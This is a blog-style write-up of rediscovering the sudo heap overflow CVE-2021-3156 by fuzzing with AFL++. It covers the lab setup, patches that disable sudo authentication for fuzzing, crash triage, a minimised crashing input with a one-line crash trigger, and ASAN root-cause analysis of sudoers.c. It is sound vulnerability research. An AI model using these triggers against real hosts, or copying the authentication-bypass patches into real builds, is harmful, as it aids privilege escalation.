Down the modern sudoedit rabbit hole - CVE-2021-3156

2024, April 26


So, here we depart with CVE-2021-3156. This is a vulnerability in the sudo program that allows privilege escalation. This post is about my personal journey (and notes to my future self) to learn a bit more about fuzzing binaries by rediscovering this vulnerability and then attempting to exploit it. We will work with AFL++ as our main choice of fuzzer. Throughout this process, I followed along the sudo playlist from LiveOverflow in order to steer me towards the correct direction.

Environment setup

We start by setting up a Docker container where we will do our vulnerability research. We install AFL++ and other debugging tools. As for a vulnerable sudo, we will fetch its source to our host machine and mount it to the docker image so that we can easily apply modifications.

wget https://www.sudo.ws/dist/sudo-1.8.31p2.tar.gz && \
    tar -xvf sudo-1.8.31p2.tar.gz

We wrap all the Docker commands in a Makefile for convenience.

Next we spin up our docker image, build sudo from source code using our build script wrapper, and verify that it is indeed a vulnerable version:

user:~$ bash -c 'exec -a sudoedit /usr/local/bin/sudo-original -s AAA\\'
malloc(): invalid next size (unsorted)
Aborted

Great, we have our test setup. Let’s move to fuzzing.

Fuzzing

For fuzzing, we will use AFL++. Here are some peculiarities regarding our fuzzing setup:

  • We want to fuzz argv in order to be able to discover the bug. AFL++ is designed to fuzz input files.
  • Our binary is suid. Under normal circumstances we invoke it as uid=1000(user) and the binary runs as uid=0(root). These binaries cannot be debugged in gdb, unless you are root. sudo has different behavior and code paths if you are root or regular user.

To fuzz argv, we will use argv_fuzzing/argv-fuzz-inl.h from AFL++ source code. This is a header that you include and the program’s argv will be read from stdin and replace the old argv. This can also fuzz argv[0] which is required to discover CVE-2021-3156, as sudoedit must be ran and not sudo.

Regarding the suid case, we do not have any problem. AFL++ builds sudo from source code and applies compile-time instrumentation passes. It does not rely at runtime on ptrace operations, so it can work with suid binaries.

Modfying sudo to facilitate fuzzing

First, let’s modify sudo to facilitate argv fuzzing:

diff --git a/src/sudo.c b/src/sudo.c
index c6d8f62..6e30c9b 100644
--- a/src/sudo.c
+++ b/src/sudo.c
@@ -69,6 +69,10 @@
 #include "sudo_plugin.h"
 #include "sudo_plugin_int.h"

+#ifdef AFL_ARGV
+#include "/home/user/AFLplusplus/utils/argv_fuzzing/argv-fuzz-inl.h"
+#endif
+
 /*
  * Local variables
  */
@@ -134,6 +138,40 @@ __dso_public int main(int argc, char *argv[], char *envp[]);
 int
 main(int argc, char *argv[], char *envp[])
 {
+     printf("before\n");
+     printf("argc=%d\n", argc);
+     for(int i=0; i<argc; i++) {
+             printf("argv[%d]=%s\n", i, argv[i]);
+     }
+ #ifdef HAVE___PROGNAME
+     extern const char *__progname;
+     printf("__progname=%s\n", __progname);
+ #endif
+
+#ifdef AFL_ARGV
+       AFL_INIT_ARGV();
+       printf("after:\n");
+#endif
+       printf("argc=%d\n", argc);
+       for(int i=0; i<argc; i++) {
+               printf("argv[%d]=%s\n", i, argv[i]);
+       }
+       printf("envp:\n");
+       for(int i=0; envp[i]; i++) {
+               printf("envp[%02d]=%s\n", i, envp[i]);
+       }
+#ifdef HAVE___PROGNAME
+    extern const char *__progname;
+       __progname = argv[0];
+#endif
+       printf("__progname=%s\n", __progname);
+
     int nargc, ok, status = 0;
     char **nargv, **env_add;
     char **user_info, **command_info, **argv_out, **user_env_out;

As you can see, we need to also set __progname as it is used by sudo. When we change argv[0], the __progname needs to be manually updated.

Another quirk of sudo is that it asks for a password and we do not want to input any. But AFL++ will hang if we do not fix this. We apply a patch to sudo which disables authentication. This will also allow the fuzzer to progress further, potentially triggering crashes caused by earlier memory corruptions.

diff --git a/plugins/sudoers/defaults.c b/plugins/sudoers/defaults.c
index 2055f6e..43be816 100644
--- a/plugins/sudoers/defaults.c
+++ b/plugins/sudoers/defaults.c
@@ -518,6 +518,7 @@ init_defaults(void)
 #ifndef NO_AUTHENTICATION
     def_authenticate = true;
 #endif
+def_authenticate = false;
 #ifndef NO_ROOT_SUDO
     def_root_sudo = true;
 #endif

diff --git a/plugins/sudoers/check.c b/plugins/sudoers/check.c
index 3a18e0c..0d8ed13 100644
--- a/plugins/sudoers/check.c
+++ b/plugins/sudoers/check.c
@@ -183,7 +183,7 @@ check_user(int validated, int mode)
      * If the user is not changing uid/gid, no need for a password.
      */
     if (!def_authenticate || user_is_exempt()) {
-       sudo_debug_printf(SUDO_DEBUG_INFO, "%s: %s", __func__,
+       fprintf(stderr, "%s: %s\n", __func__,
            !def_authenticate ? "authentication disabled" :
            "user exempt from authentication");
        exempt = true;

diff --git a/plugins/sudoers/parse.c b/plugins/sudoers/parse.c
index c44f5fe..5c1ad64 100644
--- a/plugins/sudoers/parse.c
+++ b/plugins/sudoers/parse.c
@@ -106,8 +106,9 @@ sudoers_lookup_pseudo(struct sudo_nss_list *snl, struct passwd *pw,
            }
        }
     }
+       /*
     if (match == ALLOW || user_uid == 0) {
-       /* User has an entry for this host. */
+       // User has an entry for this host.
        SET(validated, VALIDATE_SUCCESS);
     } else if (match == DENY)
        SET(validated, VALIDATE_FAILURE);
@@ -115,6 +116,9 @@ sudoers_lookup_pseudo(struct sudo_nss_list *snl, struct passwd *pw,
        SET(validated, FLAG_CHECK_USER);
     else if (nopass == true)
        def_authenticate = false;
+       */
+       fprintf(stderr, "sudoers_lookup_pseudo forced VALIDATE_SUCCESS\n");
+       SET(validated, VALIDATE_SUCCESS);
     debug_return_int(validated);
 }

@@ -178,7 +182,9 @@ sudoers_lookup_check(struct sudo_nss *nss, struct passwd *pw,
            }
        }
     }
-    debug_return_int(UNSPEC);
+    // debug_return_int(UNSPEC);
+    fprintf(stderr, "sudoers_lookup_check forced ALLOW\n");
+    debug_return_int(ALLOW);
 }

 /*

We also prevent sudo from running arbitrary commands by patching out that functionality and replacing it with an always-success return value instead. Since we prevent sudo from doing fork+execve, this will significantly increase AFL++ fuzzing speed:

diff --git a/src/sudo_edit.c b/src/sudo_edit.c
index c79501d..7a33529 100644
--- a/src/sudo_edit.c
+++ b/src/sudo_edit.c
@@ -577,6 +577,7 @@ sudo_edit_create_tfiles(struct command_details *command_details,
        rc = -1;
        switch_user(command_details->euid, command_details->egid,
            command_details->ngroups, command_details->groups);
+       fprintf(stderr, "Editing file %s\n", files[i]);
        ofd = sudo_edit_open(files[i], O_RDONLY,
            S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH, command_details);
        if (ofd != -1 || errno == ENOENT) {
@@ -1059,7 +1060,10 @@ sudo_edit(struct command_details *command_details)
     command_details->ngroups = user_details.ngroups;
     command_details->groups = user_details.groups;
     command_details->argv = nargv;
-    rc = run_command(command_details);
+    // rc = run_command(command_details);
+    // fprintf(stderr, "rc=%d\n", rc);
+    rc = 0;
+    fprintf(stderr, "Command %s skipped. rc emulated to SUCCESS (0)\n", command_details->argv[0]);
     if (sudo_gettime_real(&times[1]) == -1) {
        sudo_warn(U_("unable to read the clock"));
        goto cleanup;

diff --git a/src/exec.c b/src/exec.c
index 4640082..c3eb8c4 100644
--- a/src/exec.c
+++ b/src/exec.c
@@ -348,6 +348,10 @@ int
 sudo_execute(struct command_details *details, struct command_status *cstat)
 {
     debug_decl(sudo_execute, SUDO_DEBUG_EXEC)
+    debug_return_int(0);

     /* If running in background mode, fork and exit. */
     if (ISSET(details->flags, CD_BACKGROUND)) {

diff --git a/plugins/sudoers/visudo.c b/plugins/sudoers/visudo.c
index 308c08d..8d48786 100644
--- a/plugins/sudoers/visudo.c
+++ b/plugins/sudoers/visudo.c
@@ -861,6 +861,10 @@ run_command(char *path, char **argv)
     int status;
     pid_t pid, rv;
     debug_decl(run_command, SUDOERS_DEBUG_UTIL)
+    debug_return_int(0);

     switch (pid = sudo_debug_fork()) {
        case -1:

Compiling sudo with AFL++

Next, we have to compile our sudo code base with AFL++ instrumentation.

CC=afl-clang-fast CXX=afl-clang-fast++ CPPFLAGS="-DAFL_ARGV" \
    ./configure --disable-shared
make clean && make
make install
cp /usr/local/bin/sudo /usr/local/bin/sudo-afl
chmod +s /usr/local/bin/sudo-afl

We use AFL++ LLVM Mode since our target is not compiled by default with LTO. The #1 rule when instrumenting a target is: avoid instrumenting shared libraries at all cost. Always compile libraries you want to have instrumented as static and link these to the target program! (You could also accidentally type “make install” and install them system wide - so don’t!). That’s why we use --disable-shared. This will also help triaging crashes. The AFL_ARGV that we pass to the preprocessor is the macro that we introduced with out code patches earlier.

Seed corpus

To run AFL++ we also need to have some seed input from which AFL++ will derive the next states. We could give AFL++ already the crashing input but that would be cheating. The best approach here is to give AFL++ inputs that showcase all the possible arguments that sudo accepts. We should also include sudoedit in our seed, otherwise AFL++ will need a lot of time until it discovers it. For example:

sudo ls
sudoedit -h
sudoedit -p foobar

By running sudo -h and sudoedit -h we can see all possible arguments. I was lazy and used very trashy seed (please don’t be lazy):

echo -en 'sudoedit\x00-h\x00\x00'           > inputs-sudoedit/1
echo -en 'sudoedit\x00-p\x00foobar\x00\x00' > inputs-sudoedit/2

user:~/mount/sudoedit$ xxd -g 1 inputs-sudoedit/1
00000000: 73 75 64 6f 65 64 69 74 00 2d 68 00 00           sudoedit.-h..

user:~/mount/sudoedit$ xxd -g 1 inputs-sudoedit/2
00000000: 73 75 64 6f 65 64 69 74 00 2d 70 00 66 6f 6f 62  sudoedit.-p.foob
00000010: 61 72 00 00                                      ar..

As you can see, each argument is separated by a NULL byte, as specified in argv-fuzz-inl.h#L24. If you have many seed inputs, you can minimize them with afl-cmin. Redundant inputs that do not trigger different execution paths are discarded in this way.

Since these arguments are NULL terminated and cannot be fed to regular programs, I created a helper program that converts the above format of arguments to regular argv parameters. In that way we can also invoke the non-AFL sudo with the same arguments. The converter program is shown below:

#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include "argv-fuzz-inl.h"
/**
 * Converts arguments formatted for AFL's argv parser,
 * to regular arguments as if a command was invoked from the shell.
 * For example:
 * echo -en 'echo\x00baz\x00\x00' | ./afl-argv-converter
 * will run:
 * echo baz
 */
int main(int argc, char* argv[], char *envp[]) {
    AFL_INIT_ARGV();
    extern const char *__progname;
    __progname = argv[0];

    printf("Executing %s with argc=%d:\n", argv[0], argc);
    for(int i=0; i<argc; i++) {
        printf(" [*] argv[%d]=%s\n", i, argv[i]);
    }
    printf("Issuing execvpe now.\n");
    int res = execvpe(argv[0], argv, envp);
    //we get here only if execvpe fails
    perror("execvpe");
    return res;
}

Running AFL++

Let’s run AFL++ now.

# Run this script in the Host OS, outside of the Docker container

# Required by AFL++
echo core | sudo tee /proc/sys/kernel/core_pattern

# Disable ASLR for reproducibility
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# Inside the Docker container now

INDIR=inputs-sudoedit
ODIR=outputs-sudoedit
rm -rf  $INDIR $ODIR
mkdir -p $INDIR $ODIR

# Seed
echo -en 'sudoedit\x00-h\x00\x00' > $INDIR/1
echo -en 'sudoedit\x00-p\x00foobar\x00\x00' > $INDIR/2

export AFL_SKIP_CPUFREQ=1
afl-fuzz -i "$INDIR" -o "$ODIR" -M fuzzer01 -- /usr/local/bin/sudo-afl

This will spawn the main instance and the fuzzer has started! We can spawn multiple instances for parallel fuzzing using the -S flag instead of the -M (aflplus.plus/docs). And we let it run foe a while…

Triaging crashes

AFL++ will find various inputs that crash the binary and will save them in the outputs folder. For example:

user:~/mount/sudoedit$ ls -l outputs-sudoedit/default/crashes/
total 52
-rw------- 1 user user   567 Apr  2 10:20 README.txt
-rw------- 1 user user   250 Apr  2 10:20 id:000000,sig:06,src:000318+000311,time:905880,execs:970028,op:splice,rep:2
-rw------- 1 user user  1486 Apr  2 10:21 id:000001,sig:06,src:000037+000581,time:947387,execs:1013412,op:splice,rep:6
-rw------- 1 user user   166 Apr  2 11:12 id:000002,sig:06,src:000703+000227,time:4058962,execs:3963633,op:splice,rep:12
-rw------- 1 user user    83 Apr  2 11:16 id:000003,sig:06,src:000286,time:4265270,execs:4155000,op:havoc,rep:7
-rw------- 1 user user 27219 Apr  2 11:51 id:000004,sig:06,src:000396+000670,time:6352688,execs:5953361,op:splice,rep:7
-rw------- 1 user user  1089 Apr  2 13:19 id:000005,sig:06,src:000253+000433,time:11643309,execs:10096980,op:splice,rep:54

user:~/mount/sudoedit$ xxd -g 1 outputs-sudoedit/default/crashes/id\:000000*
00000000: f3 64 7f ff 75 64 6f 65 64 69 74 00 2d 68 6c 00  .d..udoedit.-hl.
00000010: 2d 69 00 69 49 64 00 2d 00 59 c8 c8 c8 c8 c8 c8  -i.iId.-.Y......
00000020: 81 5f 6c 00 2d 69 00 69 db 74 00 73 96 00 02 73  ._l.-i.i.t.s...s
00000030: bd bd bd 74 00 73 96 00 02 73 73 73 00 64 00 7f  ...t.s...sss.d..
00000040: 73 f3 64 7f ff ff ff f3 64 69 74 17 65 3d 02 00  s.d.....dit.e=..
00000050: 6b 6f 69 74 1a 2d 68 00 61 64 00 2d 68 00 01 64  koit.-h.ad.-h..d
00000060: 6f 00 6c 00 2d 69 00 69 73 68 ec 78 64 69 74 c8  o.l.-i.ish.xdit.
00000070: c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 73 81  ..............s.
00000080: 5f 6c 00 2d 69 00 69 db 74 00 73 96 00 02 73 73  _l.-i.i.t.s...ss
00000090: 73 73 73 88 74 00 73 96 00 02 35 7f 35 35 64 00  sss.t.s...5.55d.
000000a0: 7f 73 73 64 5f 6c 00 2d 64 69 74 5b 70 00 2d 69  .ssd_l.-dit[p.-i
000000b0: 69 69 69 69 69 69 73 00 71 24 64 69 5a 00 2d 21  iiiiiis.q$diZ.-!
000000c0: 30 79 5c 5c 5c 00 10 5c 5c 5c 00 92 69 74 1a 2d  0y\\\..\\\..it.-
000000d0: 68 00 61 64 00 17 68 00 01 64 6f 00 6c 00 2d 69  h.ad..h..do.l.-i
000000e0: 00 69 73 68 ec 00 2d 69 00 64 00 7f 73 73 64 5f  .ish..-i.d..ssd_
000000f0: 6c 00 2d 69 2f 2f 69 db 00 96                    l.-i//i...

We have to manually investigate those crashes to see if they are interesting to us. Let’s take one crash and run it:

user:~/mount/sudoedit$ cat outputs-sudoedit/default/crashes/id\:000000* | sudo-afl
after:
argc=45
argv[0]=dudoedit
argv[1]=-hl
argv[2]=-i
argv[3]=iId
argv[4]=-
argv[5]=Y_l
argv[6]=-i
argv[7]=it
argv[8]=s
argv[9]=st
argv[10]=s
argv[11]=sss
argv[12]=d
argv[13]=sddite=
argv[14]=koit-h
argv[15]=ad
argv[16]=-h
argv[17]=do
argv[18]=l
argv[19]=-i
argv[20]=ishxdits_l
argv[21]=-i
argv[22]=it
argv[23]=s
argv[24]=ssssst
argv[25]=s
argv[26]=555d
argv[27]=ssd_l
argv[28]=-dit[p
argv[29]=-iiiiiiis
argv[30]=q$diZ
argv[31]=-!0y\\\
argv[32]=\\\
argv[33]=it-h
argv[34]=ad
argv[35]=h
argv[36]=do
argv[37]=l
argv[38]=-i
argv[39]=ish
argv[40]=-i
argv[41]=d
argv[42]=ssd_l
argv[43]=-i//i
argv[44]=
envp:
envp[00]=HOSTNAME=c9414e2626a9
envp[01]=PWD=/home/user/mount/sudoedit
envp[02]=HOME=/home/user
envp[03]=LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=00:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.avif=01;35:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:*~=00;90:*#=00;90:*.bak=00;90:*.old=00;90:*.orig=00;90:*.part=00;90:*.rej=00;90:*.swp=00;90:*.tmp=00;90:*.dpkg-dist=00;90:*.dpkg-old=00;90:*.ucf-dist=00;90:*.ucf-new=00;90:*.ucf-old=00;90:*.rpmnew=00;90:*.rpmorig=00;90:*.rpmsave=00;90:
envp[04]=TERM=xterm-256color
envp[05]=SHLVL=1
envp[06]=LC_CTYPE=C.UTF-8
envp[07]=PS1=\[\]\[\]\u\[\]:\[\]\w\[\]$
envp[08]=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
envp[09]=_=/usr/local/bin/sudo-afl
envp[10]=OLDPWD=/home/user/mount/sudoedit/02-exploit
__progname=dudoedit
malloc(): invalid size (unsorted)
Aborted

Seems like a memory corruption crash. These are interesting and we should investiage. But before we do so, one more little thing.

AFL++ exploration mode

AFL++ offers the exploration mode with -C. In this mode, AFL++ takes as seed crashing inputs and tries to find other crashes at different locations. This mode can be used to expand 1 single crash that you may have to many crashes so that you can use differential analysis afterwards.

Minimal crash PoC

Now that we have a crashing input that leads to memory corruption, it is time to minimize it. afl-tmin can minimize a crashing input so that only the significant bytes are kept which still trigger the crash. Other irrelevent bytes that do not affect the crash are iteratitevly removed.

user:~/mount/sudoedit$ afl-tmin -i outputs-sudoedit/default/crashes/id\:000000* -o minimized.in sudo-afl
afl-tmin++4.10c by Michal Zalewski

[+] Read 250 bytes from 'outputs-sudoedit/default/crashes/id:000000,sig:06,src:000318+000311,time:905880,execs:970028,op:splice,rep:2'.
[*] Spinning up the fork server...
[+] All right - fork server is up.
[*] Target map size: 9463
[*] Performing dry run (mem limit = 0 MB, timeout = 1000 ms)...
[+] Program exits with a signal, minimizing in crash mode.
[*] Stage #0: One-time block normalization...
[+] Block normalization complete, 226 bytes replaced.
[*] --- Pass #1 ---
[*] Stage #1: Removing blocks of data...
    Block length = 16, remaining size = 250
    Block length = 8, remaining size = 192
    Block length = 4, remaining size = 192
    Block length = 2, remaining size = 180
    Block length = 1, remaining size = 178
[+] Block removal complete, 73 bytes deleted.
[*] Stage #2: Minimizing symbols (10 code points)...
[+] Symbol minimization finished, 2 symbols (2 bytes) replaced.
[*] Stage #3: Character minimization...
[+] Character minimization done, 1 byte replaced.
[*] --- Pass #2 ---
[*] Stage #1: Removing blocks of data...
    Block length = 16, remaining size = 177
    Block length = 8, remaining size = 177
    Block length = 4, remaining size = 177
    Block length = 2, remaining size = 177
    Block length = 1, remaining size = 177
[+] Block removal complete, 0 bytes deleted.

     File size reduced by : 29.20% (to 177 bytes)
    Characters simplified : 129.38%
     Number of execs done : 180
          Fruitless execs : path=110 crash=0 hang=0

[*] Writing output to 'minimized.in'...
[+] We're done here. Have a nice day!

user:~/mount/sudoedit$ xxd -g 1 outputs-sudoedit/default/crashes/id\:000000*
00000000: f3 64 7f ff 75 64 6f 65 64 69 74 00 2d 68 6c 00  .d..udoedit.-hl.
00000010: 2d 69 00 69 49 64 00 2d 00 59 c8 c8 c8 c8 c8 c8  -i.iId.-.Y......
00000020: 81 5f 6c 00 2d 69 00 69 db 74 00 73 96 00 02 73  ._l.-i.i.t.s...s
00000030: bd bd bd 74 00 73 96 00 02 73 73 73 00 64 00 7f  ...t.s...sss.d..
00000040: 73 f3 64 7f ff ff ff f3 64 69 74 17 65 3d 02 00  s.d.....dit.e=..
00000050: 6b 6f 69 74 1a 2d 68 00 61 64 00 2d 68 00 01 64  koit.-h.ad.-h..d
00000060: 6f 00 6c 00 2d 69 00 69 73 68 ec 78 64 69 74 c8  o.l.-i.ish.xdit.
00000070: c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 c8 73 81  ..............s.
00000080: 5f 6c 00 2d 69 00 69 db 74 00 73 96 00 02 73 73  _l.-i.i.t.s...ss
00000090: 73 73 73 88 74 00 73 96 00 02 35 7f 35 35 64 00  sss.t.s...5.55d.
000000a0: 7f 73 73 64 5f 6c 00 2d 64 69 74 5b 70 00 2d 69  .ssd_l.-dit[p.-i
000000b0: 69 69 69 69 69 69 73 00 71 24 64 69 5a 00 2d 21  iiiiiis.q$diZ.-!
000000c0: 30 79 5c 5c 5c 00 10 5c 5c 5c 00 92 69 74 1a 2d  0y\\\..\\\..it.-
000000d0: 68 00 61 64 00 17 68 00 01 64 6f 00 6c 00 2d 69  h.ad..h..do.l.-i
000000e0: 00 69 73 68 ec 00 2d 69 00 64 00 7f 73 73 64 5f  .ish..-i.d..ssd_
000000f0: 6c 00 2d 69 2f 2f 69 db 00 96                    l.-i//i...
user:~/mount/sudoedit$ xxd -g 1 minimized.in
00000000: 30 65 64 69 74 00 2d 69 00 30 30 30 30 30 30 30  0edit.-i.0000000
00000010: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
00000020: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
00000030: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
00000040: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
00000050: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
00000060: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
00000070: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
00000080: 30 30 30 30 30 5c 00 30 30 30 30 30 30 30 30 30  00000\.000000000
00000090: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
000000a0: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
000000b0: 30                                               0

Let’s also verify that the new minimized input stil crashes the binary in the same way:

user:~/mount/sudoedit$ cat minimized.in | sudo-afl
after:
argc=4
argv[0]=0edit
argv[1]=-i
argv[2]=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\
argv[3]=000000000000000000000000000000000000000000
envp:
envp[00]=HOSTNAME=c9414e2626a9
envp[01]=PWD=/home/user/mount/sudoedit
envp[02]=HOME=/home/user
envp[03]=LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=00:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.avif=01;35:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:*~=00;90:*#=00;90:*.bak=00;90:*.old=00;90:*.orig=00;90:*.part=00;90:*.rej=00;90:*.swp=00;90:*.tmp=00;90:*.dpkg-dist=00;90:*.dpkg-old=00;90:*.ucf-dist=00;90:*.ucf-new=00;90:*.ucf-old=00;90:*.rpmnew=00;90:*.rpmorig=00;90:*.rpmsave=00;90:
envp[04]=TERM=xterm-256color
envp[05]=SHLVL=1
envp[06]=LC_CTYPE=C.UTF-8
envp[07]=PS1=\[\]\[\]\u\[\]:\[\]\w\[\]$
envp[08]=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
envp[09]=_=/usr/local/bin/sudo-afl
envp[10]=OLDPWD=/home/user/mount/sudoedit/02-exploit
__progname=0edit
malloc(): invalid size (unsorted)
Aborted

Still crashing. Awesome!

With afl-anlyze we can also visualize which bytes are important in our input. afl-analyze takes an input file and attempts to sequentially flip bytes and observe the behavior of the tested program. It then color-codes the input based on which sections appear to be critical and which are (probably) not. It can often offer quick insights into complex file formats. This is useful to run on inputs that crash the binary and we are interested in seeing which parts of the input control the crash:

afl-analyze.png

It is fascinating to see that AFL++ marks the “edit” of argv[0] as magic bytes. Same for the \\ which is (spoiler alert) the culprit of the crash. These magic values are part of if conditions. An explanation for the categories of bytes that afl-anlyze identifies can be found in afl-1.readthedocs.io/en/latest/about_afl.html#the-afl-analyze-tool.

Root cause analysis

We have a crash. Some memory got corrupted and malloc failed. We need to identify the exact location where the memory corruption happens.

It is important to understand that the effects of memory corruption are not visible immidetly. There is a bug in the code and when that happens memory gets corrupted. However, the program might not immidietely crash. It might continue on and when accessing the corrupted memroy, because of the corruption and unexpected contents and structure, it will crash.

For example, memory corruption happened and caused overwritting of a neighboring object. The object is not processed until 100 function calls away. When the object is processed, the program crashes because of malformed data in that object.

So, with root cause analysis we aim to pinpoint exactly the offending source code line (bug) that causes memory corruption and subsequently the crash.

Since we have a heap memory corruption as shown by our input earlier, we will use ASAN to find it. Let’s rebuild sudo with ASAN and debug information but without AFL++ this time. Still, we will pass arguments in AFL++ style (-DAFL_ARGV):

# https://clang.llvm.org/docs/AddressSanitizer.html#usage
# Same clang version as afl-clang-fast
CFLAGS="-fsanitize=address -fno-omit-frame-pointer -ggdb -O0"
LDFLAGS="-fsanitize=address"
CC=clang-14 CXX=clang++-14 \
    CPPFLAGS="-DAFL_ARGV" \
    CFLAGS="$CFLAGS" \
    CXXFLAGS="$CFLAGS" \
    LDFLAGS="$LDFLAGS" \
    ./configure --disable-shared
make clean && make
make install
cp /usr/local/bin/sudo /usr/local/bin/sudo-asan
chmod +s /usr/local/bin/sudo-asan

Let’s run sudo-asan binary now with the mnimized.in input:

asan

Awesome! We know exactly the source code location! The crash above shows that it is a haep-buffer-overflow that happened at sudoers.c:887 and the overflown buffer was allocated at sudoers.c:865. Let’s examine!

// sudoers.c
860:    /* Alloc and build up user_args. */
861: for (size = 0, av = NewArgv + 1; *av; av++)
862:    size += strlen(*av) + 1;
863:    
864:
865: if (size == 0 || (user_args = malloc(size)) == NULL) {  //OFFENDING malloc
866:    sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
867:    debug_return_int(-1);
868: }
//.............
883: for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
884:     while (*from) {
885:     if (from[0] == '\\' && !isspace((unsigned char)from[1]))
886:         from++;
887:     *to++ = *from++;  //OFFENDING LINE
888:     }
889:     *to++ = ' ';
890: }

Further analysis

Now we have found the bug! We can dig deeper to figure out “why” there is a bug in that source code snippter above. Well, the for-loop simply copites NewArgv (which is a partial copy of argv) to user_args. During the copy, if it finds a backslash, it skips it and copies the next character, kinda like unescaping things. However, if the last character of an argument is a backslash, then the next character is a NULL byte, and from will be increased twice before being checked in the while condition. So, the while loop will keep copying past the terminating NULL byte.

